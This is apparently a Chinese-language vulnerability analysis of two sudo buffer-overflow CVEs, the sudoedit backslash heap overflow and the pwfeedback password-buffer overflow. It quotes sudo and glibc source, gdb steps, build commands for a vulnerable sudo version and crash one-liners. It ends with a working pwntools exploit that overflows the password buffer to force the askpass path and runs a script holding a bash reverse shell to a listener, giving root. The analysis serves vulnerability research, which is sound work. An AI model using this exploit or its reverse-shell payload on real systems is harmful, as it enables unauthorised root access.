以两个Sudo指令缓冲区溢出CVE进行分析

1
2
3
4
5
6
7

gdb ./sudoedit
......
pwndbg> set args -s '\' 112233445566 // 设置参数
pwndbg> run
...
pwndbg> b ./sudoers.c:847
pwndbg> run

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

......
	/* set user_args */
	if (NewArgc > 1) {
	    char *to, *from, **av;
	    size_t size, n;

	    /* Alloc and build up user_args. */
	    for (size = 0, av = NewArgv + 1; *av; av++)
		size += strlen(*av) + 1;
	    if (size == 0 || (user_args = malloc(size)) == NULL) {
		sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
		debug_return_int(NOT_FOUND_ERROR);
	    }
	    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
		/*
		 * When running a command via a shell, the sudo front-end
		 * escapes potential meta chars.  We unescape non-spaces
		 * for sudoers matching and logging purposes.
		 */
		for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
		    while (*from) {
			if (from[0] == '\\' && !isspace((unsigned char)from[1]))	
			    from++;
			*to++ = *from++;
		    }
		    *to++ = ' ';
		}
		*--to = '\0';
	    }
......

1
2
3
4
5
6
7
8

		for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
		    while (*from) {
			if (from[0] == '\\' && !isspace((unsigned char)from[1]))
			    from++;
			*to++ = *from++;
		    }
		    *to++ = ' ';
		}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

static int nss_load_library (service_user *ni)
{
	if (ni->library == NULL)
	{
		static name_database default_table;
		ni->library = nss_new_service (service_table ?: &default_table,ni->name);
		if (ni->library == NULL)
			return -1;
	}

	if (ni->library->lib_handle == NULL)
	{
		/* Load the shared library.  */
		size_t shlen = (7 + strlen (ni->name) + 3 + strlen (__nss_shlib_revision) + 1);
		int saved_errno = errno;
		char shlib_name[shlen];

		/* Construct shared object name.  */
		__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      ......

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

typedef struct service_user
{
	/* And the link to the next entry.  */
	struct service_user *next;
	/* Action according to result.  */
	lookup_actions actions[5];
	/* Link to the underlying library object.  */
	service_library *library;		
	/* Collection of known functions.  */
	void *known;
	/* Name of the service (`files', `dns', `nis', ...).  */
	char name[0];
} service_user;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

static service_library * nss_new_service (name_database *database, const char *name)
{
	service_library **currentp = &database->library;

	while (*currentp != NULL)
	{
		if (strcmp ((*currentp)->name, name) == 0)
			return *currentp;
		currentp = &(*currentp)->next;
	}

  /* We have to add the new service.  */
	*currentp = (service_library *) malloc (sizeof (service_library));
	if (*currentp == NULL)
		return NULL;

	(*currentp)->name = name;
	(*currentp)->lib_handle = NULL;
	(*currentp)->next = NULL;

	return *currentp;
}
#endif

1
2
3
4

//1.8.31/src/sudo.c:154
setlocale(LC_ALL, "");
bindtextdomain(PACKAGE_NAME, LOCALEDIR);
textdomain(PACKAGE_NAME);

1
2
3
4
5
6

wget https://www.sudo.ws/dist/sudo-1.8.25.tar.gz
tar -zxvf ./sudo-1.8.25.tar.gz
cd ./sudo-1.8.25
./configure --prefix=/tmp/build
make -j4
make install

1

perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id

1
2

socat pty,link=/tmp/pty,waitslave exec:"python -c 'print((chr(0x61)*100+chr(0x15))*50)'" &
sudo -S id < /tmp/pty

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

import sys,os
from pwn import *

TARGET=os.path.realpath("/tmp/build/bin/sudo")

'''
Create a pty terminal to transmit payload
mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)
p = process([TARGET,"-S", "id"],stdin=fd)
'''
p = process([TARGET,"-S","id"])
pause()
payload = ("A"*100+"\x00")*50
#os.write(mfd, payload+"n")
pause()
p.send(payload+'\n')
p.interactive()
sys.exit(0)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

extern int sudo_term_erase, sudo_term_kill;

static char *getln(int fd, char *buf, size_t bufsiz, int feedback)
{
    size_t left = bufsiz;
    ssize_t nr = -1;
    char *cp = buf;
    char c = '\0';
    debug_decl(getln, SUDO_DEBUG_CONV)

    if (left == 0) {
	errno = EINVAL;
	debug_return_str(NULL);		/* sanity */
    }

    while (--left) {
	nr = read(fd, &c, 1);
	if (nr != 1 || c == '\n' || c == '\r')
	    break;
	if (feedback) {
		if (c == sudo_term_kill) {
			while (cp > buf)
			{
				if (write(fd, "\b \b", 3) == -1)
				break;
				--cp;
			}
			left = bufsiz;
			continue;
	    }
	    else if (c == sudo_term_erase) {
			if (cp > buf)
			{
				if (write(fd, "\b \b", 3) == -1)
				break;
				--cp;
				left++;
			}
			continue;
	    }
	    ignore_result(write(fd, "*", 1));
	}
	*cp++ = c;
    }
    ......
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

if (feedback) {
		if (c == sudo_term_kill) {
			while (cp > buf)
			{
				if (write(fd, "\b \b", 3) == -1)
					break;
				--cp;
			}
			left = bufsiz;
			continue;
	    }
	    ......

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

/*
 * Like getpass(3) but with timeout and echo flags.
 */
char *tgetpass(const char *prompt, int timeout, int flags,struct sudo_conv_callback *callback)
{
    struct sigaction sa, savealrm, saveint, savehup, savequit, saveterm;
    struct sigaction savetstp, savettin, savettou;
    char *pass;
    static const char *askpass;
    static char buf[SUDO_CONV_REPL_MAX + 1];
    int i, input, output, save_errno, neednl = 0, need_restart;
    debug_decl(tgetpass, SUDO_DEBUG_CONV)

    (void) fflush(stdout);

    if (askpass == NULL)
    {
		askpass = getenv_unhooked("SUDO_ASKPASS");
		if (askpass == NULL || *askpass == '\0')
			askpass = sudo_conf_askpass_path();  //get the askpass from the environment
    }

    /* If no tty present and we need to disable echo, try askpass. */
    if (!ISSET(flags, TGP_STDIN|TGP_ECHO|TGP_ASKPASS|TGP_NOECHO_TRY) &&!tty_present())
    {
		if (askpass == NULL || getenv_unhooked("DISPLAY") == NULL) {
			sudo_warnx(U_("no tty present and no askpass program specified"));
			debug_return_str(NULL);
		}
		SET(flags, TGP_ASKPASS);
    }

    /* If using a helper program to get the password, run it instead. */
    if (ISSET(flags, TGP_ASKPASS))
    {
		if (askpass == NULL || *askpass == '\0')
			sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS"));
		debug_return_str_masked(sudo_askpass(askpass, prompt));
    }
    //.......
    pass = getln(input, buf, sizeof(buf), ISSET(flags, TGP_MASK));
    //......
}

1
2
3
4
5
6

#define TGP_NOECHO  0x00        /* turn echo off reading pw (default) */
#define TGP_ECHO    0x01        /* leave echo on when reading passwd */
#define TGP_STDIN   0x02        /* read from stdin, not /dev/tty */
#define TGP_ASKPASS 0x04        /* read from askpass helper program */
#define TGP_MASK    0x08        /* mask user input when reading */
#define TGP_NOECHO_TRY  0x10        /* turn off echo if possible */

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

/*
 * Fork a child and exec sudo-askpass to get the password from the user.
 */
static char *sudo_askpass(const char *askpass, const char *prompt)
{
    static char buf[SUDO_CONV_REPL_MAX + 1], *pass;
    struct sigaction sa, savechld;
    int pfd[2], status;
    pid_t child;
    debug_decl(sudo_askpass, SUDO_DEBUG_CONV)

    /* Set SIGCHLD handler to default since we call waitpid() below. */
    memset(&sa, 0, sizeof(sa));
    sigemptyset(&sa.sa_mask);
    sa.sa_flags = SA_RESTART;
    sa.sa_handler = SIG_DFL;
    (void) sigaction(SIGCHLD, &sa, &savechld);

    if (pipe(pfd) == -1)
	sudo_fatal(U_("unable to create pipe"));

    child = sudo_debug_fork();
    if (child == -1)
	sudo_fatal(U_("unable to fork"));

    if (child == 0) {
	/* child, point stdout to output side of the pipe and exec askpass */
	if (dup2(pfd[1], STDOUT_FILENO) == -1) {
	    sudo_warn("dup2");
	    _exit(255);
	}
	if (setuid(ROOT_UID) == -1)
	    sudo_warn("setuid(%d)", ROOT_UID);
	if (setgid(user_details.gid)) {
	    sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid);
	    _exit(255);
	}
	if (setuid(user_details.uid)) {
	    sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid);
	    _exit(255);
	}
	closefrom(STDERR_FILENO + 1);
	execl(askpass, askpass, prompt, (char *)NULL); //执行程序
	......
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

struct user_details {
    pid_t pid;
    pid_t ppid;
    pid_t pgid;
    pid_t tcpgid;
    pid_t sid;
    uid_t uid;
    uid_t euid;
    uid_t gid;
    uid_t egid;
    const char *username;
    const char *cwd;
    const char *tty;
    const char *host;
    const char *shell;
    GETGROUPS_T *groups;
    int ngroups;
    int ts_cols;
    int ts_lines;
};

1
2
3
4

        if (c == sudo_term_eof) {
		    nr = 0;
		    break;
		}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

# coding=utf-8
from pwn import*
import sys,os

TARGET=os.path.realpath("/tmp/build/bin/sudo")

def setFlags(flags):
	tgetpassFlags = {
		"TGP_NOECHO":0x00,
		"TGP_ECHO":0x01,
		"TGP_STDIN":0x02,
		"TGP_ASKPASS":0x04,
		"TGP_MASK":0x08,
		"TGP_NOECHO_TRY":0x10
	}
	flags = flags.split("|")
	retval = 0
	for i in flags:
		retval |= tgetpassFlags[i]
	return retval

if __name__ == "__main__":

	shell_path = "/tmp/root.sh"
	with open(shell_path,"w") as file:
		file.write(
		'''#!/bin/bash
		bash -c "bash -i >& /dev/tcp/127.0.0.1/3000 0>&1"
		''')
	os.chmod(shell_path,0o777)
	mfd, sfd = os.openpty()
	fd = os.open(os.ttyname(sfd), os.O_RDONLY)
	
	p = process([TARGET,"-S", "id"],stdin=fd,env={"SUDO_ASKPASS":shell_path})
	port = listen(3000)
	payload  = '\x00\x15'*0xFF  #buf
	payload += '\x00\x15'*0x20 	#askpass_link
	payload += '\x00\x15'*0x105 #signo
	payload +=  p64(setFlags("TGP_STDIN|TGP_ASKPASS"))
	payload += '\x15\x00'*0x14  #tgetpass_flags
	payload += '\x15\x00'*0x30  #user_details
	payload += '\n'
	pause()
	os.write(mfd,payload)
	port.wait_for_connection()
	pause()
	port.interactive()